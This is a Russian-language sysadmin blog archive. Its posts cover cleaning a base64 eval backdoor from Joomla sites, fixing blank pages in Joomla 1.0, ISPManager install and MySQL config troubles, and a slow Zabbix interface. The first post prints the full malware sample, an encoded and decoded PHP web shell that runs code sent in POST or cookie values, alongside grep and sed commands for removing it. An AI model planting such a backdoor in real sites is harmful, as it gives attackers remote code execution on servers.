Архив метки: web

Удаление вредоносного кода base64_decode из файлов Joomla

Не все обновляют свои сайты и уж тем более не все следят за новостями в области уязвимостей в известных CMS и их компонентах. Как результат, возникает большое количество зараженных сайтов, которые могут принести огромный вред.

Сегодня я рассмотрю один частный случай заражения сайтов, результатом которого может стать участие сервера в бот-сети.

При получении доступа на запись к файлам вашего сайта, злоумышленник вносит изменения в некоторые файлы. На первый взгляд, они случайные, но при просмотре сотен таких сайтов выявляются некоторые закономерности. Чаще всего изменения вносятся в файлы шаблонов, в файлы из директории ./xmlrpc/includes, а также создаются файлы с названием test.php в других местах. Эти изменения выглядят следующим образом:

<?php !много-много-табов! /*1a21ca6047eb4089bb2c25013a757f10*/ eval(base64_decode("JHcgID0gICAgJ28nOzsgOyAgICAgaWYgICAgICggICAgIGlzc2V0KCAgJF9DT09LSUVbJ2R3YyddKSAgICApICAgICB7ICAgZWNobyAgICc8Y3dkPicgICAgIC4gICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7IDsgICAgIH0gICAgaWYgICAoICBpc3NldCAgICggICRfUE9TVFsncDFhMiddICAgICApICAgICApICAgICB7ICAgIGV2YWwgICggICBiYXNlNjRfZGVjb2RlICAgICggICAgICRfUE9TVFsncDFhMiddICAgICkgICApOzsgOyAgIHJldHVybjs7ICAgICAgfSAgaWYgICAgKCAgICAgaXNzZXQoICAkX0NPT0tJRVsncDFhMiddKSAgICApICAgIHsgIGV2YWwgICggICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3AxYTInXSAgICApICApOzsgOyAgIHJldHVybjs7IDsgICB9ICAgIA==")); ?>

При расшифровке получается довольно интересный код:

$w = 'o';; ; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; } if ( isset ( $_POST['p1a2'] ) ) { eval ( base64_decode ( $_POST['p1a2'] ) );; ; return;; } if ( isset( $_COOKIE['p1a2']) ) { eval ( base64_decode ( $_COOKIE['p1a2'] ) );; ; return;; ; }

Как видно из него, шаблон выведет текущую директорию относительно корня веб-сервера при обнаружении в cookie переменной с именем dwc.  Но самое интересное — это декодирование и запуск содержимого переменной p1a2 из POST-запроса или аналогичной переменной из cookie. В эту переменную можно записать в base64-формате абсолютно любой код и он будет выполнен с правами веб-сервера. Для неплохого ddos этого вполне достаточно.

В чем проблема найти и удалить этот код? В том, что имена переменных, как и комментарий до них меняется от файла к файлу. А значит, меняется и содержимое текста в base64_decode(). В пределах одного сайта, конечно, можно удалить все вручную. Но если таких сайтов хотя бы 200? Правильно, надо писать регулярное выражение для поиска и удаления этих строк.

Я решил, что безопаснее и быстрее сначала найти все эти сайты без регулярных выражений, после этого проверить вручную результат и только после этого удалять лишнее. Запускаем поиск по куску кода, исключая бинарные файлы с выводом всего найденного в файл:

cd /var/www
grep -I -R '*/ eval(base64_decode(' ./ >/root/base64-files

Предполагается, что все сайты лежат в /var/www

После этого внимательно просматриваем его (а мало ли на сайте есть кусок нормального кода, который подходит под это описание). Если все просмотрено и ничего лишнего там нет — запускаем, собственно, удаление такой командой:

cat /root/base64-files |awk -F ':' '{print "/var/www"substr($1,2)}'|xargs -l sed -i.bak 's#^<?php[[:blank:]]*/*[a-z0-9*]*/[[:blank:]]*eval(base64_decode(\".*\")); ?>##'

Расшифрую вкратце: читаем файл base64-files, используем в качестве разделителя столбцов в awk двоеточие и выводим подстроку со второго символа (первый символ — точка) с префиксом /var/www. После этого передаем все это в xargs, который, в свою очередь построчно скармливает результат в sed, который с обязательным бэкапом файла заменяет содержимое, в соответствии с регулярным выражением на пустоту, т.е. удаляет.

После удаления, на всякий случай, можно «прогнать» поиск всего кода base64_decode на сайтах. Зачастую, этот код используется в не очень хороших целях. Но анализировать и проверять надо все по месту.

Пустые страницы в joomla 1.0 на php 5.3

Время идет, софт обновляется, но бывают случаи, когда сайты под новый софт обновить сложно по той или иной причине. На данный момент, все больше серверов у различных хостеров переходят на php 5.3, а то и выше. И если ваш сайт сделан на joomla 1.0, поддержка которой, между прочим, закончилась еще в 2009 году, то после обновления версии PHP, на вашем сайте перестанет отображаться весь контент — будет отображено только содержимое модулей.

Для того, чтобы пофиксить этот небольшой глюк, необходимо заменить в файле includes/Cache/Lite/Function.php строку:

$arguments = func_get_args();

на следующие строки

$arguments = func_get_args();
$numargs = func_num_args();
for($i=1; $i < $numargs; $i++){
$arguments[$i] = &$arguments[$i];
}

Это исправит проблему пустых страниц.

ISPManager 5 Lite или жестокий и беспощадный отечественный бизнес

Поработав недавно с панелью ISPManager 4, оставшись слегка недовольным результатом, решил проверить на что же способна панель ISPManager 5 Lite. Привлекла она меня возможностью установки на FreeBSD. Правда, как оказалось, только на FreeBSD 9. На десятку ставиться наотрез отказалась даже с принудительным выбором ОС. Перед установкой, согласно информации на сайте, необходимо иметь рабочий ключ активации. Это, в общем-то, при наличии возможности получить бесплатный триал-период на 2 недели, меня ни капельки не испугало.

Итак, развернул чистую FreeBSD 9.2 на виртуальной машине, скачал установочный скрипт и запустил. COREmanager скачался и запустился довольно быстро, настала пора установки ISPmanager. Я выбрал custom вариант установки с целью установить postfix в качестве почтового сервера и apache22-itk-mpm в качестве веб-сервера. Я знал, что установка apache-itk-mpm не всегда проходит без плясок с бубном, но имея достаточный опыт работы с FreeBSD, я был уверен, что все ошибки легко устраню. И да, я читал предупреждение в доках ISP о том, что установка apache-itk-mpm не проходит без глюков и лучше сначала поставить apache22, удалить его, и поставить apache22-itk-mpm. Но логика была простая: если опция в скрипте есть, то, возможно, все уже пофиксили, а доки подправить забыли. Иначе, если опция не работает, зачем добавлять ее в скрипт?

Естественно, процесс установки был прерван и случилось это на установке апача. Но! Причина была не в том, что не смог установиться апач, а в том, что по какой-то причине был недоступен mod_rpaf2. Скачать его не удалось, порт не собрался и установка всей панели была прервана. Попытка установить порт вручную тоже не увенчалась успехом и именно по причине отсутствия исходников порта. Да, такое случается в FreeBSD и лечится ручным поиском исходников и «подкладыванием» их в /usr/ports/distfiles.

А вот недовольство разработчиками панели началось непосредственно после этого. Логично было бы предположить, что если установка прервалась по какой-то причине, ее можно будет возобновить. Не тут-то было! Никакой заветной кнопочки «Retry» или чего-то похожего не обнаружилось! Ладно, мы пойдем другим путем и запустим установку с нуля. Авось, инсталлер увидит, что некоторые приложения уже стоят и не будет пробовать их переустановить. А если и будет, то distfiles уже на месте. Не было бы у меня этой записи, если бы все прошло без проблем… Панель запросила ключ активации… И, естественно, ругнулась на то, что этим ключом уже кто-то активировался (я, при прошлой попытке) и поэтому он не подходит. Таким образом, я был послан далеко и надолго к «your license provider» для решения проблемы.

Активация триал-лицензии ISPmanager

Мучать техподдержку такими глупостями не хотелось, но еще больше не хотелось поступать «не честно» и генерить еще одну триал-лицензию на другой ящик. Поэтому, учитывая написанное русским по белому после получения триал лицензии (см. скриншот), решил-таки описать свою проблему техподдержке и, заодно, задать парочку вопросов на тему того, что бы было, если бы я купил вечную лицензию и столкнулся с такой проблемой при ее активации.

Обещания ISPmanager

И именно здесь я столкнулся с самым выдающимся предпродажным сервисом! Сервисом, который просто обязан быть не хуже (а зачастую лучше, для привлечения клиентов) сервиса послепродажной техподдержки! Никогда бы не догадался, что такое в принципе возможно в довольно серьезном бизнесе… Мне предложили КУПИТЬ возможность обращения в техподдержку! Это гениально, мне просто больше нечего сказать…

Техподдержка ISPmanager

P.S. Естественно, я не отправлял до этого ни одного запроса в ТП, а вся проблема кроется в том, что какое-то количество запросов идет вместе с коммерческой лицензией. Триал-лицензия не дает права пользования техподдержкой.

Тюнинг MySQL в ISPmanager 4. Не сохраняются изменения.

Довелось мне недавно столкнуться с панелью ISPManager 4, установленной на CentOS 6.5. Это был довольно слабый сервер на десктопном железе, но при этом количество сайтов на нем переваливало за сотню. Всего лишь 2 SATA-винчестера по 500 Гб в зеркале и 32 Гб SSD для баз mysql. Оперативной памяти было всего-то 8 Гб, но этого должно быть достаточно для работы сервера при грамотной настройке. А вот с грамотной настройкой были проблемы и по этой причине Load Average скакал от 4 до 60. В общем-то, 4 — это нормальная цифра для 4-ядерного процессора, но 60…

Первое, за что я решил взяться — это тюнинг MySQL. Открыл рабочий конфиг и взялся за голову: это был дефолтный конфиг из типовых настроек для «маленького» сервера, т.е. my-small.cnf:

# Example MySQL config file for small systems.
#
# This is for a system with little memory (<= 64M) where MySQL is only used
# from time to time and it's important that the mysqld daemon
# doesn't use much resources.
#
# MySQL programs look for option files in a set of
# locations which depend on the deployment platform.
# You can copy this option file to one of those
# locations. For information about these locations, see:
# http://dev.mysql.com/doc/mysql/en/option-files.html
#
# In this file, you can use all long options that a program supports.
# If you want to know which options a program supports, run the program
# with the "--help" option.

# The following options will be passed to all MySQL clients
[client]
#password = your_password
port = 3306
socket = /var/lib/mysql/mysql.sock

# Here follows entries for some specific programs

# The MySQL server
[mysqld]
port = 3306
socket = /var/lib/mysql/mysql.sock
skip-locking
key_buffer_size = 16K
max_allowed_packet = 1M
table_open_cache = 4
sort_buffer_size = 64K
read_buffer_size = 256K
read_rnd_buffer_size = 256K
net_buffer_length = 2K
thread_stack = 128K

# Don't listen on a TCP/IP port at all. This can be a security enhancement,
# if all processes that need to connect to mysqld run on the same host.
# All interaction with mysqld must be made via Unix sockets or named pipes.
# Note that using this option without enabling named pipes on Windows
# (using the "enable-named-pipe" option) will render mysqld useless!
#
#skip-networking
server-id = 1

# Uncomment the following if you want to log updates
#log-bin=mysql-bin

# binary logging format - mixed recommended
#binlog_format=mixed

# Uncomment the following if you are using InnoDB tables
#innodb_data_home_dir = /var/lib/mysql
#innodb_data_file_path = ibdata1:10M:autoextend
#innodb_log_group_home_dir = /var/lib/mysql
# You can set .._buffer_pool_size up to 50 - 80 %
# of RAM but beware of setting memory usage too high
#innodb_buffer_pool_size = 16M
#innodb_additional_mem_pool_size = 2M
# Set .._log_file_size to 25 % of buffer pool size
#innodb_log_file_size = 5M
#innodb_log_buffer_size = 8M
#innodb_flush_log_at_trx_commit = 1
#innodb_lock_wait_timeout = 50

[mysqldump]
quick
max_allowed_packet = 16M

[mysql]
no-auto-rehash
# Remove the next comment character if you are not familiar with SQL
#safe-updates

[myisamchk]
key_buffer_size = 8M
sort_buffer_size = 8M

[mysqlhotcopy]
interactive-timeout

Как видим из конфига, ничего хорошего с таким сервером при >100 сайтов просто не могло быть: все кэши минимальные, кэш запросов не указан, а значит выключен, thread_cache_size не установлен, а значит равен нулю и т.д. Помимо этого, лимит открытых файлов на сервере равнялся 1024. Первым делом поднят был именно он (до 80000), после этого были подкручены table_open_cache, query_cache_size, thread_cache_size и некоторое количество других буферов. Настало время перезапуска сервера для применения настроек. Перезапуск производился средствами панели и каково же было мое удивление, когда вместо своего конфига я опять увидел дефолтный!

Как водится, поиск в гугле на тему подмены конфига ничего не дал. Беглый осмотр вики производителя панели выдал только информацию по добавлению mysql-сервера в панель. Пришлось покопаться в самой панели и внезапно обнаружить, что при рестарте mysql-сервера, происходит копирование все того же my-small.cnf в my.cnf! Оставим вопросы о целесообразности такого решения разработчикам: есть у меня стойкое ощущение, что многие владельцы (язык не поворачивается называть этих людей администраторами) этих панелей не знают что такое ssh и для чего он вообще нужен, если все есть в панели.

Таким образом, одним из возможных решений этой проблемы, является внесение изменений в my-small.cnf (в центоси он лежит тут: /usr/share/mysql), который и будет скопирован в /etc/my.cnf.

А как же советы по настройке? Настройка параметров — дело индивидуальное и сильно зависит от самого сервера, количества сайтов, количества Innodb и myisam таблиц и т.д.

Очень медленно грузится web-интерфейс Zabbix

Утро началось как обычно: с проверки всех систем, отчетов и просмотра графиков заббикса. Вот только с последним возникла непонятная проблема. Он установлен на сервере, который является по совместительству веб-сервером для различных проектов. При попытке открыть страницу, браузер висел в ожидании каждого графика, да и страницы в целом секунд по 20-25. Просмотр вывода top не показал никакой нагрузки, ну т.е. совсем никакой — la около 0,3, загрузка процессора около 5%. Количество процессов вменяемое, никаких лимитов не превышено.

После сбора расширенных логов с nginx (именно он стоит в качестве фронтенда) с временем генерации страниц, становится понятно, что затык не в нем, а ниже, т.е. либо в апаче, либо в mysql. Лог медленных запросов mysql тоже не сказал ничего насчет таблиц заббикса. Сервер «боевой», поэтому включать дебаг и смотреть чем же занят все это время httpd и почему же загрузка процессора им равна 0 никак нельзя. Процессы httpd висят в состоянии kqread и не грузят процессор совсем.

Что удивительнее, другие сайты/приложения работали без задержек. Пришлось судорожно вспоминать все изменения, которые вносились в конфигурацию сервера в последнее время. Из всего, что было сделано, на ум приходила только настройка форвардинга в DNS-сервере bind. С целью уменьшения задержек и объема внешнего трафика, был настроен форвардинг запросов DNS на сервер провайдера. Казалось бы, причем тут DNS? Но после отключения форвардинга и перезапуска dns-сервера, заббикс загрузился быстро, как ни в чем не бывало. Подробный анализ всех логов выявил таймауты при обращении к DNS провайдера… Но как? Как это могло повлиять на загрузку веб-интерфейса заббикса?..